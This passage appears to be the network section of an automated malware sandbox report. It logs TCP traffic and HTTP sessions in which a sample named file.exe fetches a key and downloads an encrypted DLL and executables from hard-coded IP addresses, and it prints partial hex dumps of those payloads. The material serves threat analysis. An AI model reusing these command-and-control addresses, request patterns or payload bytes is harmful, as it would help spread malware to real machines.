                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.013135910 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.013135910 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.013912916 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.013972998 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.014120102 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.014198065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.014934063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.015070915 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.015108109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.015219927 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.016051054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.016108036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.016243935 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.017185926 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.017241001 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.017396927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.017463923 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.018064976 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.018131971 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.018307924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.018307924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.019222975 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.019335985 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.019344091 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.019407034 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.020678043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.020821095 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.021076918 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.021689892 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.021704912 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.021776915 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.021776915 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.022572041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:28.023777962 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:30.715486050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:30.715966940 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:58.613574982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:04.172936916 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:04.172992945 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:04.173098087 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:04.188597918 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:04.188618898 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.832626104 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.832704067 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.887301922 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.887383938 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.887664080 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.887727022 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.890130997 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:05.931344986 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.512916088 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.512986898 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.512986898 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.513034105 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.515408993 CET49987443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.515429020 CET44349987188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.632898092 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.632937908 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.633027077 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.633528948 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:06.633541107 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.094795942 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.095207930 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.129889965 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.129889965 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.129899025 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.129913092 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.822205067 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.822305918 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.822320938 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.822386026 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.822432995 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.822432995 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.842370033 CET49990443192.168.2.11188.119.66.185
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.842387915 CET44349990188.119.66.185192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.843317986 CET499912024192.168.2.1131.214.157.206
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.964257002 CET20244999131.214.157.206192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.964344978 CET499912024192.168.2.1131.214.157.206
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:08.964466095 CET499912024192.168.2.1131.214.157.206
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:09.084197044 CET20244999131.214.157.206192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:09.084312916 CET499912024192.168.2.1131.214.157.206
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:09.204925060 CET20244999131.214.157.206192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:10.205938101 CET20244999131.214.157.206192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:49:10.254575014 CET499912024192.168.2.1131.214.157.206
                                                                                                                                                                                                                                    • 188.119.66.185
                                                                                                                                                                                                                                    • 80.82.65.70
                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    0192.168.2.114981980.82.65.70806784C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:58.288933992 CET412OUTGET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: 1
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:59.658291101 CET204INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:47:59 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Length: 1
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                    Data Raw: 31
                                                                                                                                                                                                                                    Data Ascii: 1
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:59.677349091 CET386OUTGET /dll/key HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: 1
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.153918028 CET224INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:47:59 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Length: 21
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=99
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                    Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73
                                                                                                                                                                                                                                    Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.176917076 CET391OUTGET /dll/download HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: 1
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743098974 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:48:00 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Disposition: attachment; filename="fuckingdllENCR.dll";
                                                                                                                                                                                                                                    Content-Length: 97296
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=98
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                    Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED]
                                                                                                                                                                                                                                    Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk*~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<*Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEP*OuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q*)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~|jbK!N7R}T2bsq1L^!|qD'sLnD@bn%0=bQ1+lQXO|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743149996 CET1236INData Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f
                                                                                                                                                                                                                                    Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743186951 CET1236INData Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd
                                                                                                                                                                                                                                    Data Ascii: Dp!l*R7+2J^*'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: *rUz(-dFI?[*VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743221045 CET1236INData Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4
                                                                                                                                                                                                                                    Data Ascii: BGpwCy6$h$x*Z|YQ|5#n&!w@Duhs:|BFGc3_^M*H_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743356943 CET896INData Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea
                                                                                                                                                                                                                                    Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743521929 CET1236INData Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc
                                                                                                                                                                                                                                    Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743612051 CET1236INData Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad
                                                                                                                                                                                                                                    Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#'BsZy
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743647099 CET1236INData Raw: ab 83 12 71 60 ef ac 34 32 d8 70 30 3b 55 9a 12 0e 9f 26 6c be 1f b1 56 29 68 86 1f 1c a5 97 2c 74 ca 37 9a 6a 55 f9 be e3 48 f7 00 72 6f 42 12 41 ec 23 16 2d cd d2 bf 20 52 76 63 2b 78 75 0d b1 13 ba b8 e6 b9 b1 8c 54 24 79 51 3b b2 29 1b ba 44
                                                                                                                                                                                                                                    Data Ascii: q`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/]BYZ*e'0ZiU4Nk+@V,E*#LQ$iT{}@zFA8F /7B@57ARN"lU^-
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743681908 CET1236INData Raw: 2b ed b6 90 93 b5 cb e9 5b 81 d3 0a ac cd 19 0a b7 db 61 4d 90 7d 85 3c 51 38 f9 08 b0 8a 2c 52 5c 3b a3 28 21 b4 b3 8b 95 1d cf 79 a5 e6 17 de 83 a8 dd 37 7c d0 40 73 1a 93 09 91 ed df 13 89 28 1d 8a d0 67 8b 19 59 81 4b 0b 18 94 db ad 26 01 9f
                                                                                                                                                                                                                                    Data Ascii: +[aM}<Q8,R\;(!y7|@s(gYK&&nB<H3Qh-`uK^TG{cKiF{R_y|w.y0Pc-:gZdSw^P;$)SL'3{y
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.751703024 CET1236INData Raw: 54 e5 fd b2 c6 83 f0 18 cc 3c bb a5 89 7b 89 54 98 d8 15 a6 fa 49 a4 67 d0 03 82 eb c7 42 29 b9 76 f8 01 5c 2b 20 0a 5c 1d 33 83 13 83 42 79 3d 7e c9 17 b3 a3 51 aa c8 b6 32 7d 48 b8 ad f1 c2 7d 0a 69 9d c2 d2 7a 9b 73 02 47 89 ff 76 3e 73 48 a6
                                                                                                                                                                                                                                    Data Ascii: T<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3*gWM|E j;zq{1"7:ZSe%%_d6YLVl]Rk&06B>lJk(:OB+8aQ$Mnwka{
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.751841068 CET1236INData Raw: 5c d2 2a c3 33 ff 78 3e 6f b5 ff a6 6c 71 6d 25 ef c6 14 af 9c 6f 38 91 81 96 1f ad 1d af 35 bc c0 00 0c 9f 24 93 c9 3c e6 d2 fa 28 eb 2b 80 23 82 81 de 2e ac 96 52 f9 19 0f 6b e2 00 36 46 1d c0 9d 55 0b 0f 62 85 f0 77 cb de 0e 5b 62 17 62 91 0d
                                                                                                                                                                                                                                    Data Ascii: \*3x>olqm%o85$<(+#.Rk6FUbw[bbK[FV%#33<ilf.JiN<T=vroh'ekzw,`3MG]snz1;DBKG4h2)N%5^6x8dW61*~
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.236520052 CET393OUTGET /files/download HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: C
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.157536030 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:48:01 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Disposition: attachment; filename="ONE.file";
                                                                                                                                                                                                                                    Content-Length: 4250887
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=97
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                    Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED]
                                                                                                                                                                                                                                    Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd `DATAL@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    1192.168.2.114985180.82.65.70806784C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:10.812932014 CET393OUTGET /files/download HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: C
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146337986 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:48:11 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Disposition: attachment; filename="PAB1.file";
                                                                                                                                                                                                                                    Content-Length: 4608
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                    Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                    Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0& @@ @&O@`%8 H.text `.rsrc@@@.reloc`@B&H\ *(*BSJBv4.0.30319l#~,H#Stringst#USx#GUID#BlobG3xZ!,IA&`5{@AP #R ;)19
